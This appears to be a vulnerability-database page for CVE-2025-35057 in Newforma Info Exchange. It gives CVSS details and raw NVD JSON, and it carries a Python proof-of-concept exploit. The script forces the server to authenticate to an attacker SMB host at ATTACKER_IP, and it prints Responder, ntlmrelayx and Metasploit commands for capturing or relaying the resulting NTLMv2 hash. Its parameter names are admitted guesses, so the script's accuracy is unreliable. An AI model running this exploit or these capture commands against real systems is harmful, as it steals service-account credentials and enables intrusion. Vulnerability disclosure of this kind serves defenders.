Security Vulnerability Report
中文
CVE-2025-35057 CVSS 5.3 MEDIUM

CVE-2025-35057

Published: 2025-10-09 21:15:37
Last Modified: 2025-10-22 15:12:44
Source: 9119a7d8-5eab-497f-8521-727c672e3725

Description

Newforma Info Exchange (NIX) '/RemoteWeb/IntegrationServices.ashx' allows a remote, unauthenticated attacker to cause NIX to make an SMB connection to an attacker-controlled system. The attacker can capture the NTLMv2 hash of the NIX service account.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:newforma:project_center:*:*:*:*:*:*:*:* - VULNERABLE
Newforma Info Exchange (NIX) - 所有未修复的受影响版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-35057 - Newforma Info Exchange NTLMv2 Hash Disclosure PoC # Exploit: SMB connection coercion to capture NTLMv2 hash # Author: Security Researcher import requests import sys import argparse from urllib.parse import quote # Configuration TARGET_URL = "http://target-nix-server/RemoteWeb/IntegrationServices.ashx" ATTACKER_SMB_SERVER = "\\\\ATTACKER_IP\\share" # UNC path pointing to attacker's SMB server LISTENER_PORT = 445 # SMB port def exploit(target_url, attacker_smb): """ Send a crafted request to IntegrationServices.ashx to force NIX to initiate an SMB connection to the attacker-controlled server. """ # Craft the payload - the vulnerable parameter accepts a remote path/URL # which NIX will attempt to access via SMB payload = { # The exact parameter name may vary; common parameters include: "serverUrl": attacker_smb, "remotePath": attacker_smb, "integrationUrl": attacker_smb, "filePath": attacker_smb, # Additional parameters that may be required "action": "connect", "method": "validate" } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Content-Type": "application/x-www-form-urlencoded", "Accept": "*/*" } try: print(f"[*] Target: {target_url}") print(f"[*] Attacker SMB Server: {attacker_smb}") print(f"[*] Sending malicious request...") # Send the request - NIX will attempt SMB connection to attacker server response = requests.post( target_url, data=payload, headers=headers, timeout=30, allow_redirects=False ) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Length: {len(response.text)}") print(f"[+] Request sent successfully!") print(f"[+] Check your SMB listener (e.g., Responder) for NTLMv2 hash capture") return True except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False def start_listener(): """ Instructions to start an SMB listener to capture NTLMv2 hashes. Recommended tools: Responder, Impacket """ print(""" [*] To capture the NTLMv2 hash, start one of these listeners on your server: Option 1 - Responder: sudo responder -I eth0 -wrf Option 2 - Impacket: sudo impacket-ntlmrelayx -smb2support -t smb://target Option 3 - Metasploit auxiliary: use auxiliary/server/capture/smb set SRVHOST ATTACKER_IP run """) if __name__ == "__main__": parser = argparse.ArgumentParser(description="CVE-2025-35057 PoC - NIX NTLMv2 Hash Disclosure") parser.add_argument("-u", "--url", default=TARGET_URL, help="Target NIX IntegrationServices.ashx URL") parser.add_argument("-s", "--smb", default=ATTACKER_SMB_SERVER, help="Attacker SMB UNC path") parser.add_argument("--listener", action="store_true", help="Show listener setup instructions") args = parser.parse_args() if args.listener: start_listener() else: exploit(args.url, args.smb)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-35057", "sourceIdentifier": "9119a7d8-5eab-497f-8521-727c672e3725", "published": "2025-10-09T21:15:36.827", "lastModified": "2025-10-22T15:12:44.357", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Newforma Info Exchange (NIX) '/RemoteWeb/IntegrationServices.ashx' allows a remote, unauthenticated attacker to cause NIX to make an SMB connection to an attacker-controlled system. The attacker can capture the NTLMv2 hash of the NIX service account."}], "metrics": {"cvssMetricV40": [{"source": "9119a7d8-5eab-497f-8521-727c672e3725", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "9119a7d8-5eab-497f-8521-727c672e3725", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 3.6}]}, "weaknesses": [{"source": "9119a7d8-5eab-497f-8521-727c672e3725", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-294"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:newforma:project_center:*:*:*:*:*:*:*:*", "versionEndExcluding": "2024.3", "matchCriteriaId": "EC2FF0A6-51C4-404B-9DC4-B056BC0DD65A"}]}]}], "references": [{"url": "https://raw.githubusercontent.com/cisagov/CSAF/develop/csaf_files/IT/white/2025/va-25-282-01.json", "source": "9119a7d8-5eab-497f-8521-727c672e3725", "tags": ["Third Party Advisory"]}, {"url": "https://www.cve.org/CVERecord?id=CVE-2025-35057", "source": "9119a7d8-5eab-497f-8521-727c672e3725", "tags": ["Third Party Advisory"]}]}}